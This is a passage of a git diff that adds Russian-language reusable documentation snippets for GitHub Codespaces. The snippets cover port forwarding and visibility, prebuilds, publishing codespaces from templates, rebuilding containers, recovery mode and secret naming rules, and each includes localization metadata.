кода](/codespaces/developing-in-codespaces/opening-an-existing-codespace). Дополнительные сведения о работе {% data variables.product.prodname_github_codespaces %} см. [в разделе Подробное изучение {% data variables.product.prodname_github_codespaces %}](/codespaces/getting-started/deep-dive). diff --git a/translations/ru-RU/data/reusables/codespaces/machine-types-for-unpublished-codespaces.md b/translations/ru-RU/data/reusables/codespaces/machine-types-for-unpublished-codespaces.md new file mode 100644 index 000000000000..75b18b90a1a6 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/machine-types-for-unpublished-codespaces.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2511362f6aa19d917b5cf8488a368c9dd52b09a1 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159989" +--- +Неопубликованные пространства кода (пространства кода, созданные на основе шаблона, не связанные с репозиторием в {% data variables.product.product_name %}) всегда выполняются на виртуальной машине с теми же спецификациями. Вы не можете изменить тип компьютера неопубликованного пространства кода. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/max-number-codespaces.md b/translations/ru-RU/data/reusables/codespaces/max-number-codespaces.md new file mode 100644 index 000000000000..0894c52647a9 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/max-number-codespaces.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5a221eb6ab8719ebea834e50059bbc6aead1fa79 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109200" +--- +Количество создаваемых сред codespace ограничено, как и количество одновременно выполняемых сред codespace. Эти ограничения зависят от ряда факторов. Если вы достигнете максимального количества сред codespace и попытаетесь создать еще одну среду, появится сообщение о том, что необходимо удалить существующую среду codespace, прежде чем создать новую. diff --git a/translations/ru-RU/data/reusables/codespaces/monthly-spending-limit-codespaces.md b/translations/ru-RU/data/reusables/codespaces/monthly-spending-limit-codespaces.md new file mode 100644 index 000000000000..33e144ed7214 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/monthly-spending-limit-codespaces.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 78eee4151cf6c88b83875b990e895707127e5421 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160085" +--- +1. В разделе "Codespaces" выберите ограничение расходов или разрешение неограниченного объема расходов. + + ![Снимок экрана: переключатели для ограничения расходов или разрешения неограниченного объема расходов](/assets/images/help/billing/limit-or-unlimited-codespaces.png) diff --git a/translations/ru-RU/data/reusables/codespaces/more-info-devcontainer.md b/translations/ru-RU/data/reusables/codespaces/more-info-devcontainer.md new file mode 100644 index 000000000000..e32de91ef821 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/more-info-devcontainer.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c4d14deef7dc4c8811dec367203f5c4377227e05 +ms.sourcegitcommit: 5ee600fa0b52d1d1b138d8565740e2a0b5e4c4da +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148008654" +--- +Сведения о параметрах и свойствах, которые можно задать в файле, см. в `devcontainer.json` [спецификации](https://containers.dev/implementors/spec) на веб-сайте "Контейнеры разработки". diff --git a/translations/ru-RU/data/reusables/codespaces/navigate-to-codespaces-page.md b/translations/ru-RU/data/reusables/codespaces/navigate-to-codespaces-page.md new file mode 100644 index 000000000000..354717a84b28 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/navigate-to-codespaces-page.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8aee324ef787fa06f501e9cc9ba6abaf2648ef49 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109199" +--- +1. Перейдите на страницу "Ваши codespaces" по адресу [https://github.com/codespaces](https://github.com/codespaces). diff --git a/translations/ru-RU/data/reusables/codespaces/navigate-to-ports-tab.md b/translations/ru-RU/data/reusables/codespaces/navigate-to-ports-tab.md new file mode 100644 index 000000000000..5f738ea50ae7 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/navigate-to-ports-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 397dc422c5fcfc2fcaa4081ad1130773d08c07b0 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145113075" +--- +1. В кодовом пространстве в текстовом редакторе нажмите "Порты". + ![Вкладка "Порты"](/assets/images/help/codespaces/ports-tab.png) diff --git a/translations/ru-RU/data/reusables/codespaces/navigating-to-a-codespace.md b/translations/ru-RU/data/reusables/codespaces/navigating-to-a-codespace.md new file mode 100644 index 000000000000..e448055b81a3 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/navigating-to-a-codespace.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 3263bcf4439cdee99cbf589dde18dcb92af1ec00 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160207" +--- +## Переход к существующему codespace + +1. {% data reusables.codespaces.you-can-see-all-your-codespaces %} +1. Щелкните имя codespace, в котором нужно выполнить разработку. + + ![Имя codespace](/assets/images/help/codespaces/click-name-codespace.png) + +Кроме того, вы можете просмотреть любое пространство кода для определенного репозитория, перейдя в этот репозиторий и выбрав **{% octicon "code" aria-label="The code icon" %} Code**. В раскрывающемся меню отображаются все активные пространства кода для репозитория. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/next-steps-adding-devcontainer.md b/translations/ru-RU/data/reusables/codespaces/next-steps-adding-devcontainer.md new file mode 100644 index 000000000000..ee23417553dd --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/next-steps-adding-devcontainer.md @@ -0,0 +1,3 @@ +- [Managing encrypted secrets for {% data variables.product.prodname_github_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces) +- [Managing GPG verification for {% data variables.product.prodname_github_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces) +- [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace) diff --git a/translations/ru-RU/data/reusables/codespaces/open-codespace-from-template-repo.md b/translations/ru-RU/data/reusables/codespaces/open-codespace-from-template-repo.md new file mode 100644 index 000000000000..cfce4ae73ca6 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/open-codespace-from-template-repo.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 69354dddad1a9dcf540f273fde19ed6d880c1efb +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159978" +--- +1. Выберите владельца для нового репозитория, введите имя репозитория, выберите предпочитаемый параметр конфиденциальности и щелкните **Создать репозиторий из шаблона**. +1. На главной странице созданного репозитория нажмите кнопку **{% octicon "code" aria-label="The code icon" %} Code (Код)** и выберите вкладку **Codespaces** . + + ![Кнопка "Создать codespace"](/assets/images/help/codespaces/new-codespace-button.png) + +1. На вкладке **Codespaces** щелкните **Создать codespace в main**. diff --git a/translations/ru-RU/data/reusables/codespaces/open-template-in-codespace-step.md b/translations/ru-RU/data/reusables/codespaces/open-template-in-codespace-step.md new file mode 100644 index 000000000000..5ca239162520 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/open-template-in-codespace-step.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 0193cb7b3950276f157e8ef2a84a958278cfc800 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160172" +--- +1. Над списком файлов щелкните **Использовать этот шаблон**, а затем выберите **Открыть в codespace**. + + ![Кнопка "Использовать этот шаблон"](/assets/images/help/repository/use-this-template-button.png) \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/opening-codespace-in-jetbrains.md b/translations/ru-RU/data/reusables/codespaces/opening-codespace-in-jetbrains.md new file mode 100644 index 000000000000..4c4b680f96c0 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/opening-codespace-in-jetbrains.md @@ -0,0 +1,34 @@ +--- +ms.openlocfilehash: 52206649d45bd9d76bcc593adeffa47318a70880 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160171" +--- +Если вы настроили шлюз JetBrains в качестве редактора по умолчанию, шлюз запустится автоматически при открытии пространства кода из {% data variables.product.prodname_dotcom_the_website %}. + +Если шлюз JetBrains не является редактором по умолчанию, вы по-прежнему можете открыть codespace в JetBrains, перейдя на страницу "Ваши codespaces" [в github.com/codespaces](https://github.com/codespaces) и щелкнув многоточие (...) справа от codespace, которое нужно открыть. Дополнительные сведения см. в разделе [Открытие существующего пространства кода](/codespaces/developing-in-codespaces/opening-an-existing-codespace?tool=webui). + +Кроме того, можно открыть шлюз JetBrains и выбрать существующее пространство кода, как описано в следующей процедуре. + +1. Откройте приложение шлюза JetBrains. +1. Щелкните **Подключиться к {% data variables.product.prodname_codespaces %}**. + + ![Снимок экрана: начальное представление шлюза JetBrains](/assets/images/help/codespaces/jetbrains-gateway-connect.png) + +1. В списке "Ваши codespaces" щелкните пространство кода, с которым вы хотите работать. + + ![Снимок экрана: список codespace шлюза JetBrains](/assets/images/help/codespaces/jetbrains-gateway-codespaces.png) + +1. В списке "Доступные среды разработки" щелкните интегрированную среду разработки JetBrains, которую вы хотите использовать. Шлюз запомнит ваш выбор при следующем подключении к codespace. + + ![Снимок экрана: список codespace шлюза JetBrains](/assets/images/help/codespaces/jetbrains-gateway-ides.png) + +1. Нажмите кнопку **Соединить**. + + {% note %} + + **Примечание**. _Если вы используете брандмауэр:_ при первом подключении к удаленному ресурсу может быть предложено разрешить шлюзу JetBrains взаимодействовать по сети. + + {% endnote %} diff --git a/translations/ru-RU/data/reusables/codespaces/port-forwarding-adding-non-jetbrains.md b/translations/ru-RU/data/reusables/codespaces/port-forwarding-adding-non-jetbrains.md new file mode 100644 index 000000000000..873e42bce0a0 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/port-forwarding-adding-non-jetbrains.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 5aef043edaeaf981964defece5a3a008a89ee5b8 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160153" +--- +## Добавление порта в конфигурацию кодового пространства + +Можно добавить переадресованный порт в конфигурацию {% data variables.product.prodname_github_codespaces %} для репозитория, чтобы автоматически выполнять переадресацию порта для всех кодовых пространств, созданных из репозитория. После обновления конфигурации все ранее созданные кодовые пространства необходимо перестроить, чтобы применить изменение. Дополнительные сведения см. в статье [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace). + +Переадресованные порты можно вручную настроить в `.devcontainer.json` файле с помощью `forwardPorts` свойства или использовать панель "Порты" в пространстве кода, открытом в браузере, или в классическом приложении {% data variables.product.prodname_vscode_shortname %}. + +{% data reusables.codespaces.navigate-to-ports-tab %} +1. Щелкните правой кнопкой мыши порт, который требуется добавить в конфигурацию кодового пространства, а затем выберите пункт **Задать метку и обновить devcontainer.json**. + ![Параметр задания метки и добавления порта в файл devcontainer.json в контекстном меню](/assets/images/help/codespaces/update-devcontainer-to-add-port-option.png) {% data reusables.codespaces.type-port-label %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/port-forwarding-intro-non-jetbrains.md b/translations/ru-RU/data/reusables/codespaces/port-forwarding-intro-non-jetbrains.md new file mode 100644 index 000000000000..342ac39ee7b1 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/port-forwarding-intro-non-jetbrains.md @@ -0,0 +1,23 @@ +--- +ms.openlocfilehash: 9523f75cde4298a6e1cd4335127a1dfb5bb342b5 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160093" +--- +Когда приложение, выполняющееся в кодовом пространстве, выводит выходные данные в терминал, содержащий URL-адрес localhost, например, `http://localhost:PORT` или `http://127.0.0.1:PORT`, выполняется автоматическая переадресация порта. Если {% data variables.product.prodname_github_codespaces %} используется в браузере или в {% data variables.product.prodname_vscode %}, строка URL-адреса в терминале преобразуется в ссылку, по которой можно перейти, чтобы просмотреть веб-страницу на локальном компьютере. По умолчанию {% data variables.product.prodname_github_codespaces %} пересылает порты по протоколу HTTP. + +![Автоматическая переадресация портов](/assets/images/help/codespaces/automatic-port-forwarding.png) + +Можно также выполнить переадресацию порта вручную, пометить переадресованные порты, предоставить доступ к переадресованным портам членам организации, предоставить общий доступ к переадресованным портам и добавить переадресованные порты в конфигурацию кодового пространства. + +{% note %} + +**Примечание**. {% data reusables.codespaces.restrict-port-visibility %} + +{% endnote %} + +## Переадресация порта + +Можно вручную выполнить переадресацию порта, который не был переадресован автоматически. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/port-forwarding-labeling-non-jetbrains.md b/translations/ru-RU/data/reusables/codespaces/port-forwarding-labeling-non-jetbrains.md new file mode 100644 index 000000000000..e3ba6a33eb22 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/port-forwarding-labeling-non-jetbrains.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: b85601bfdb4f5333e435878cba013882ed9c7f74 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160026" +--- +## Маркировка порта + +При открытии пространства кода в браузере или в классическом приложении {% data variables.product.prodname_vscode_shortname %} можно пометить перенаправленный порт, чтобы упростить его идентификацию в списке. + +{% data reusables.codespaces.navigate-to-ports-tab %} +1. Наведите указатель мыши на порт, который требуется маркировать, а затем щелкните значок метки. + ![Значок метки для порта](/assets/images/help/codespaces/label-icon.png) {% data reusables.codespaces.type-port-label %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/port-forwarding-sharing-non-jetbrains.md b/translations/ru-RU/data/reusables/codespaces/port-forwarding-sharing-non-jetbrains.md new file mode 100644 index 000000000000..7ca0d93ff522 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/port-forwarding-sharing-non-jetbrains.md @@ -0,0 +1,23 @@ +--- +ms.openlocfilehash: 22cef14793f2fe8ffa5937d60056f05f1be0265a +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159826" +--- +## Общий доступ к порту + +{% note %} + +**Примечание.** Сделать порт частным для организации можно, только если организация использует {% data variables.product.prodname_team %} или {% data variables.product.prodname_ghe_cloud %}. + +{% endnote %} + +Если требуется предоставить доступ к переадресованному порту другим пользователям, можно сделать порт частным для организации или общедоступным. После того как вы сделаете порт частным для организации, любой пользователь в организации с URL-адресом порта сможет просмотреть выполняющееся приложение. После того как вы сделаете порт общедоступным, любой пользователь, который знает URL-адрес и номер порта, сможет просмотреть выполняющееся приложение без необходимости проходить проверку подлинности. + +{% note %} + +**Примечание.** Выбор параметров видимости портов может быть ограничен политикой, настроенной для организации. Дополнительные сведения см. в разделе [Ограничение видимости переадресованных портов](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports). + +{% endnote %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/port-visibility-settings.md b/translations/ru-RU/data/reusables/codespaces/port-visibility-settings.md new file mode 100644 index 000000000000..ced75b1bd5f5 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/port-visibility-settings.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 4fc229f6627c578fc456e63ffef8857ad3bb696f +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145113072" +--- +Существует три варианта видимости. + +* `private` — объект виден только вам. Это вариант по умолчанию при переадресации порта. +* `org` — объект виден членам организации, которой принадлежит репозиторий. +* `public` — объект виден всем, кто знает URL-адрес и номер порта. diff --git a/translations/ru-RU/data/reusables/codespaces/prebuilds-crossreference.md b/translations/ru-RU/data/reusables/codespaces/prebuilds-crossreference.md new file mode 100644 index 000000000000..1b6940d38220 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/prebuilds-crossreference.md @@ -0,0 +1 @@ +To speed up codespace creation, repository administrators can enable {% data variables.product.prodname_github_codespaces %} prebuilds for a repository. For more information, see "[About {% data variables.product.prodname_github_codespaces %} prebuilds](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds)." diff --git a/translations/ru-RU/data/reusables/codespaces/prebuilds-definition.md b/translations/ru-RU/data/reusables/codespaces/prebuilds-definition.md new file mode 100644 index 000000000000..b610a8ccdd0c --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/prebuilds-definition.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f1698e3ef5e33a7e3035c4f5a2cb07d513493b8a +ms.sourcegitcommit: f21fd2e4622528489b02916e5faa5c1fc2d51a87 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/13/2022 +ms.locfileid: "148045122" +--- +Предварительная сборка собирает основные компоненты пространства кода для определенного сочетания репозитория, ветви и `devcontainer.json` файла конфигурации. Он предоставляет быстрый способ создания нового пространства кода. Для сложных и (или) больших репозиториев, в частности, можно быстрее создать новое пространство кода с помощью предварительной сборки. diff --git a/translations/ru-RU/data/reusables/codespaces/prebuilds-permission-authorization.md b/translations/ru-RU/data/reusables/codespaces/prebuilds-permission-authorization.md new file mode 100644 index 000000000000..207dfc54ee71 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/prebuilds-permission-authorization.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: bb81ad72418e81366595d963296493a7a3b55202 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148158680" +--- + Если в конфигурации контейнера разработки для репозитория указаны разрешения на доступ к другим репозиториям, отобразится страница авторизации. Дополнительные сведения о разрешениях в файле `devcontainer.json` см. в статье "[Управление доступом к другим репозиториям в среде codespace](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)". + + Щелкните значок {% octicon "chevron-down" aria-label="The expand down icon" %}, чтобы просмотреть сведения о необходимых разрешениях. + + ![Снимок экрана: страница авторизации предварительных сборок](/assets/images/help/codespaces/prebuild-authorization-page.png) + + Щелкните **Авторизовать и продолжайте** предоставлять эти разрешения для создания предварительных сборок. Кроме того, можно нажать кнопку **Продолжить без авторизации** , но в этом случае пространства кода, созданные из результирующих предварительных сборок, могут работать неправильно. + + {% note %} + + **Примечание.** Пользователи, создающие среды codespace с помощью этой предварительной сборки, также получат запрос на предоставление разрешений. + + {% endnote %} diff --git a/translations/ru-RU/data/reusables/codespaces/publishing-template-codespaces.md b/translations/ru-RU/data/reusables/codespaces/publishing-template-codespaces.md new file mode 100644 index 000000000000..7ee22a73c783 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/publishing-template-codespaces.md @@ -0,0 +1,34 @@ +--- +ms.openlocfilehash: a78c61511f0daa225bc27576a2ab57e8e1bea939 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160148" +--- +Если вы работаете в codespace, вы можете опубликовать его из веб-клиента {% data variables.product.prodname_vscode_shortname %} или классического приложения. + +{% data reusables.codespaces.source-control-display-dark %} +1. Чтобы внести изменения, щелкните **+** рядом с файлом, который вы добавили или изменили, или рядом с **элементом Изменения** , если вы изменили несколько файлов и хотите подготовить их все. + + ![Боковая панель управления исходным кодом с выделенной кнопкой подготовки](/assets/images/help/codespaces/codespaces-commit-stage.png) + + {% note %} + + **Примечание:** Если вы начинаете с пустого шаблона {% data variables.product.company_short %}, вы не увидите список изменений, если вы не инициализировали каталог в качестве репозитория Git. Чтобы опубликовать codespace, созданные на основе пустого шаблона, щелкните **Опубликовать в {% data variables.product.company_short %}** в представлении системы управления версиями, а затем перейдите к шагу 5. + + {% endnote %} +2. Чтобы зафиксировать промежуточные изменения, введите сообщение фиксации, описывающее внесенные изменения, а затем нажмите кнопку **Зафиксировать**. + + ![Боковая панель управления исходным кодом с сообщением о фиксации](/assets/images/help/codespaces/vscode-commit-button.png) +3. Щелкните **Опубликовать ветвь**. + + ![Снимок экрана: кнопка "Опубликовать ветвь" в VS Code](/assets/images/help/codespaces/vscode-publish-branch-button.png) +4. В раскрывающемся списке "Имя репозитория" введите имя нового репозитория, а затем выберите **Опубликовать в {% data variables.product.company_short %} частный репозиторий** или **Опубликовать в {% data variables.product.company_short %} общедоступный репозиторий**. + + ![Снимок экрана: раскрывающийся список "Имя репозитория" в VS Code](/assets/images/help/codespaces/choose-new-repository.png) + + Владельцем нового репозитория будет учетная запись {% data variables.product.prodname_dotcom %}, с помощью которой вы создали codespace. +5. При необходимости во всплывающем окне, которое появится в правом нижнем углу редактора, щелкните **Открыть на {% data variables.product.company_short %}** , чтобы просмотреть новый репозиторий на {% data variables.product.prodname_dotcom_the_website %}. + + ![Снимок экрана: всплывающее окно "Открыть в GitHub" в VS Code](/assets/images/help/codespaces/open-on-github.png) \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/rebuild-command.md b/translations/ru-RU/data/reusables/codespaces/rebuild-command.md new file mode 100644 index 000000000000..f7d772dbcbcc --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/rebuild-command.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 2a9a8aec377e545ba9eecac42e61e9cdff9c4bfd +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147760882" +--- +1. Откройте {% data variables.product.prodname_vscode_command_palette_shortname %}, нажав сочетание клавиш SHIFT+Command+P (Mac) или CTRL+SHIFT+P (Windows/Linux), а затем начните вводить строку "перестроить". Выберите **Codespaces: перестроить контейнер**. + + ![Параметр перестроения контейнера](/assets/images/help/codespaces/codespaces-rebuild.png) diff --git a/translations/ru-RU/data/reusables/codespaces/rebuild-reason.md b/translations/ru-RU/data/reusables/codespaces/rebuild-reason.md new file mode 100644 index 000000000000..5109a2e23bed --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/rebuild-reason.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ed86471e2bc025a2bc19423a7e5eb82d7a216c6f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147060997" +--- +Прежде чем вы зафиксируете изменения в репозитории, выполните повторную сборку внутри codespace, чтобы гарантировать правильное внесение изменений. Если что-то приведет к сбою, вы будете помещены в codespace с контейнером восстановления, который можно собрать повторно, чтобы сохранить настройку контейнера. diff --git a/translations/ru-RU/data/reusables/codespaces/recovery-mode.md b/translations/ru-RU/data/reusables/codespaces/recovery-mode.md new file mode 100644 index 000000000000..cfeadfde080d --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/recovery-mode.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 51f2a8b90eac3c008af34c9509011b1af204ee75 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145113059" +--- +Если изменения в конфигурации контейнера разработки приводят к ошибке контейнера, codespace запустится в режиме восстановления и появится сообщение об ошибке. diff --git a/translations/ru-RU/data/reusables/codespaces/remote-explorer.md b/translations/ru-RU/data/reusables/codespaces/remote-explorer.md new file mode 100644 index 000000000000..2073ca0e8aa6 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/remote-explorer.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: b274f48ee8a8184963070b3231f485c56fd728ac +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147760978" +--- +{% note %} + +**Примечание.** Если удаленный обозреватель не отображается на панели действий: + +1. Откройте палитру команд. Например, нажмите клавиши SHIFT+COMMAND+P (Mac) или CTRL+SHIFT+P (Windows/Linux). +1. Введите `codespaces`. +1. Щелкните **Codespaces: сведения**. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/codespaces/restrict-port-visibility.md b/translations/ru-RU/data/reusables/codespaces/restrict-port-visibility.md new file mode 100644 index 000000000000..b4938caf71b7 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/restrict-port-visibility.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0c34cb218c397d3e754d2fe745be93ad7d2e9bf7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147061541" +--- +Владельцы организации могут сделать перенаправляемые порты общедоступными или доступными только внутри организации. Дополнительные сведения см. в разделе [Ограничение видимости переадресованных портов](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports). diff --git a/translations/ru-RU/data/reusables/codespaces/secret-precedence.md b/translations/ru-RU/data/reusables/codespaces/secret-precedence.md new file mode 100644 index 000000000000..fc86fd863158 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/secret-precedence.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1537360ab43c24d0eb3de5fed89f16630a0690a4 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881959" +--- +Если секрет с одним и тем же именем существует на нескольких уровнях, приоритет имеет секрет самого низкого уровня. Например, если секрет уровня организации имеет то же имя, что и секрет уровня репозитория, то приоритет имеет секрет уровня репозитория. diff --git a/translations/ru-RU/data/reusables/codespaces/secrets-naming.md b/translations/ru-RU/data/reusables/codespaces/secrets-naming.md new file mode 100644 index 000000000000..78c1ff833eae --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/secrets-naming.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 817ada6565cff5ef91aae6e6b7306b520bf55d84 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145140065" +--- +К именам секретов применяются следующие правила: + +* Имена секретов могут содержать только буквы и цифры (`[a-z]`, `[A-Z]`, `[0-9]`) или символы подчеркивания (`_`). Пробелы недопустимы. +* Имена секретов не должны начинаться с префикса `GITHUB_`. +* Имена секретов не должны начинаться с цифры. +* В именах секретов регистр не учитывается. +* Имена секретов должны быть уникальными на том уровне, на котором они были созданы. diff --git a/translations/ru-RU/data/reusables/codespaces/secrets-on-start.md b/translations/ru-RU/data/reusables/codespaces/secrets-on-start.md new file mode 100644 index 000000000000..d3578c73e6e4 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/secrets-on-start.md @@ -0,0 +1 @@ +Once you have created a secret, it will be available when you create a new codespace or restart the codespace. To use a secret that you've just created in a current codespace, you will need to stop the codespace and resume it. For information about stopping the codespace, see "[Using the {% data variables.product.prodname_vscode_command_palette %} in {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)." diff --git a/translations/ru-RU/data/reusables/codespaces/setting-up-project-intro.md b/translations/ru-RU/data/reusables/codespaces/setting-up-project-intro.md new file mode 100644 index 000000000000..7dc663530bf3 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/setting-up-project-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 21daaf99777a364391eb83e7c9addbd0d1947265 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159877" +--- +в {% data variables.product.prodname_codespaces %} с помощью классического приложения {% data variables.product.prodname_vscode %} или веб-клиента {% data variables.product.prodname_vscode_shortname %}. Здесь вы получите пример открытия проекта в codespace, а также добавления и изменения предопределенной конфигурации контейнера разработки. \ 